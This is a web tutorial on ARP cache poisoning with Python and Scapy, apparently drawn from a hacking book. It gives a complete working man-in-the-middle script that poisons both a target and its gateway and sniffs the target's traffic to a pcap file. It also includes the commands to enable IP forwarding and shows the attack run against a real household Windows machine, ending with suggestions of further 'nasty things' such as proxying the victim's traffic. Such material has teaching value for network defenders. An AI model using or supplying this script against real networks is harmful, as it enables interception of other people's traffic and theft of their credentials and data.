What Is ARP Cache
An ARP cache is a collection of Address Resolution Protocol entries (mostly dynamic) that are created when an IP address is resolved to a MAC address (so the computer can effectively communicate with the IP address).
An ARP cache has the disadvantage of potentially being used by hackers and cyber attackers. An ARP cache helps the attackers hide behind a fake IP address. Beyond the fact that ARP caches may help attackers, it may also prevent the attacks by “distinguish[ing] between low level IP and IP based vulnerabilities”.
ARP Cache Spoofing with Scapy
ARP Spoofing is one of the oldest yet most effective tricks in a hacker’s toolkit. Quite simply, we will convince a target machine that we have become its gateway, and we will also convince the gateway that in order to reach the target machine, all traffic has to go through us. Every com- puter on a network maintains an ARP cache that stores the most recent MAC addresses that match to IP addresses on the local network, and we are going to poison this cache with entries that we control to achieve this attack. Because the Address Resolution Protocol and ARP poisoning in general is covered in numerous other materials, I’ll leave it to you to do any necessary research to understand how this attack works at a lower level.
Now that we know what we need to do, let’s put it into practice. When I tested this, I attacked a real Windows machine and used my Kali VM as my attacking machine. I have also tested this code against various mobile devices connected to a wireless access point and it worked great. The first thing we’ll do is check the ARP cache on the target Windows machine so we can see our attack in action later on. Examine the following to see how to inspect the ARP cache on your Windows VM.
C:\Users\Clare> ipconfig Windows IP Configuration Wireless LAN adapter Wireless Network Connection: Connection-specific DNS Suffix . : gateway.pace.com Link-local IPv6 Address . . . . . : fe80::34a0:48cd:579:a3d9%11 IPv4 Address. . . . . . . . . . . : 172.16.1.71 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 172.16.1.254
So now we can see that the gateway IP address is at 172.16.1.254.
C:\Users\Clare> arp -a Interface: 172.16.1.71 --- 0xb Internet Address Physical Address Type 172.16.1.254 3c-ea-4f-2b-41-f9 dynamic 172.16.1.255 ff-ff-ff-ff-ff-ff static 188.8.131.52 01-00-5e-00-00-16 static 184.108.40.206 01-00-5e-00-00-fb static 220.127.116.11 01-00-5e-00-00-fc static 255.255.255.255 ff-ff-ff-ff-ff-ff static
It’s associated ARP cache entry has a MAC address of 3c-ea-4f-2b-41-f9. We will take note of this because we can view the ARP cache while the attack is ongoing and see that we have changed the gateway’s registered MAC addresses.
Now that we know the gateway and our target IP address, let’s begin coding our ARP poisoning script. Open a new Python file, call it arper.py, and enter the following code:
from scapy.all import * import os import sys import threading import signal interface = "en1" target_ip = "172.16.1.71" gateway_ip = "172.16.1.254" packet_count = 1000 # set our interface conf.iface = interface # turn off output conf.verb = 0 print "[*] Setting up %s" % interface gateway_mac = get_mac(gateway_ip) if gateway_mac is None: print "[!!!] Failed to get gateway MAC. Exiting." sys.exit(0) else: print "[*] Gateway %s is at %s" % (gateway_ip,gateway_mac)
This is the main setup portion of our attack. We start by resolving the gateway.
target_mac = get_mac(target_ip) if target_mac is None: print "[!!!] Failed to get target MAC. Exiting." sys.exit(0) else: print "[*] Target %s is at %s" % (target_ip,target_mac)
Then we will find target IP address’s corresponding MAC addresses using a function called get_mac that we’ll plumb in shortly.
# start poison thread poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac,target_ip,target_mac)) poison_thread.start() try: print "[*] Starting sniffer for %d packets" % packet_count
After we have accom- plished that, we spin up a second thread to begin the actual ARP poisoning attack.
bpf_filter = "ip host %s" % target_ip packets = sniff(count=packet_count,filter=bpf_filter,iface=interface)
In our main thread, we start up a sniffer that will capture a preset amount of packets using a BPF filter to only capture traffic for our target IP address.
# write out the captured packets wrpcap('arper.pcap',packets)
When all of the packets have been captured, we write them out to a PCAP file so that we can open them in Wireshark or use our upcoming image carving script against them.
# restore the network restore_target(gateway_ip,gateway_mac,target_ip,target_mac) except KeyboardInterrupt: # restore the network restore_target(gateway_ip,gateway_mac,target_ip,target_mac) sys.exit(0)
When the attack is finished, we call our restore_target function, which is responsible for putting the network back to the way it was before the ARP poisoning took place.
Let’s add the supporting functions now by punching in the following code above our previous code block:
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac): # slightly different method using send print "[*] Restoring target..." send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count=5) send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count=5)
So this is the meat and potatoes of the actual attack. Our restore_target function simply sends out the appropriate ARP packets to the network broadcast address to reset the ARP caches of the gateway and target machines.
# signals the main thread to exit os.kill(os.getpid(), signal.SIGINT)
We also send a signal to the main thread to exit, which will be useful in case our poisoning thread runs into an issue or you hit ctrl-C on your keyboard.
def get_mac(ip_address): responses,unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address), timeout=2,retry=10) # return the MAC address from a response for s,r in responses: return r[Ether].src return None
Our get_mac function is responsible for using the srp (send and receive packet) function to emit an ARP request to the specified IP address in order to resolve the MAC address associated with it.
def poison_target(gateway_ip,gateway_mac,target_ip,target_mac): poison_target = ARP() poison_target.op = 2 poison_target.psrc = gateway_ip poison_target.pdst = target_ip poison_target.hwdst= target_mac poison_gateway = ARP() poison_gateway.op = 2 poison_gateway.psrc = target_ip poison_gateway.pdst = gateway_ip poison_gateway.hwdst= gateway_mac print "[*] Beginning the ARP poison. [CTRL-C to stop]"
Our poison_target function builds up ARP requests for poisoning both the target IP and the gateway.
while True: try: send(poison_target) send(poison_gateway) time.sleep(2) except KeyboardInterrupt: restore_target(gateway_ip,gateway_mac,target_ip,target_mac) print "[*] ARP poison attack finished." return
By poisoning both the gateway and the target IP address, we can see traffic flowing in and out of the target. We keep emitting these ARP requests in a loop to make sure that the respective ARP cache entries remain poisoned for the duration of our attack.
Let’s Check Our Code
Before we begin, we need to first tell our local host machine that we can forward packets along to both the gateway and the target IP address. If you are on your Kali VM, enter the following command into your terminal:
#:> echo 1 > /proc/sys/net/ipv4/ip_forward
If you are an Apple fanboy, then use the following command:
fanboy:tmp sudopsxc$ sudo sysctl -w net.inet.ip.forwarding=1
Now that we have IP forwarding in place, let’s fire up our script and check the ARP cache of our target machine. From your attacking machine, run the following (as root):
fanboy:tmp sudopsxc$ sudo python2.7 arper.py WARNING: No route found for IPv6 destination :: (no default route?) [*] Setting up en1 [*] Gateway 172.16.1.254 is at 3c:ea:4f:2b:41:f9 [*] Target 172.16.1.71 is at 00:22:5f:ec:38:3d [*] Beginning the ARP poison. [CTRL-C to stop] [*] Starting sniffer for 1000 packets
Awesome! No errors or other weirdness. Now let’s validate the attack on our target machine:
C:\Users\Clare> arp -a Interface: 172.16.1.71 --- 0xb Internet Address Physical Address Type 172.16.1.64 10-40-f3-ab-71-02 dynamic 172.16.1.254 10-40-f3-ab-71-02 dynamic 172.16.1.255 ff-ff-ff-ff-ff-ff static 18.104.22.168 01-00-5e-00-00-16 static 22.214.171.124 01-00-5e-00-00-fb static 126.96.36.199 01-00-5e-00-00-fc static 255.255.255.255 ff-ff-ff-ff-ff-ff static
You can now see that poor Clare (it’s hard being married to a hacker, hackin’ ain’t easy, etc.) now has her ARP cache poisoned where the gateway now has the same MAC address as the attacking computer. You can clearly see in the entry above the gateway that I’m attacking from 172.16.1.64. When the attack is finished capturing packets, you should see an arper.pcap file in the same directory as your script. You can of course do things such as force the target computer to proxy all of its traffic through a local instance of Burp or do any number of other nasty things.